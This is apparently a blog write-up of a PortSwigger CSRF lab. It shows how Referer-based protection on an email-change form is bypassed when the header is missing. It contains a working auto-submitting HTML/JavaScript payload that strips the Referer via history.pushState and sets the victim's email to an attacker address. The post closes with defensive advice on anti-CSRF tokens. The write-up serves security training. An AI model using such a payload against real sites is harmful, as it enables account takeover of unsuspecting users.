Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

CSRF where Referer validation depends on header being present

CSRF where Referer validation depends on header being present: This lab's email change functionality is vulnerable to CSRF. Although the application attempts to block cross-domain requests by checking the Referer header, it has an insecure fallback. • PortSwigger • CSRF • csrf

2022-11-301 tag
Tags

🎯 Objective

This lab's email change functionality is vulnerable to CSRF.
Although the application attempts to block cross-domain requests by checking the Referer header, it has an insecure fallback.

Goal: Use the exploit server to host an HTML page that changes the victim’s email address.


🧭 Steps

  1. Logged in with provided credentials:

    • Username: wiener
    • Password: peter
  2. Observation:
    The application relied on the Referer header for CSRF protection.
    By removing/stripping this header, requests bypassed the check.

    Request with stripped referrer

  3. Exploit construction:
    I crafted an HTML payload that:

    • Stripped the Referer header via history.pushState.
    • Auto-submitted the form to change the email.

📄 Exploit Code

html
<html>
  <body>
    <form action="https://target.site/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

✅ Result

  • The victim’s email address was changed without their knowledge.
  • The CSRF protection was bypassed due to insecure reliance on the Referer header.

💡 Key Takeaway

  • Don’t rely on the Referer header for CSRF protection.
  • Always use anti-CSRF tokens (synchronizer tokens or double-submit cookies).
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧭 Steps
  3. 03📄 Exploit Code
  4. 04✅ Result
  5. 05💡 Key Takeaway
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.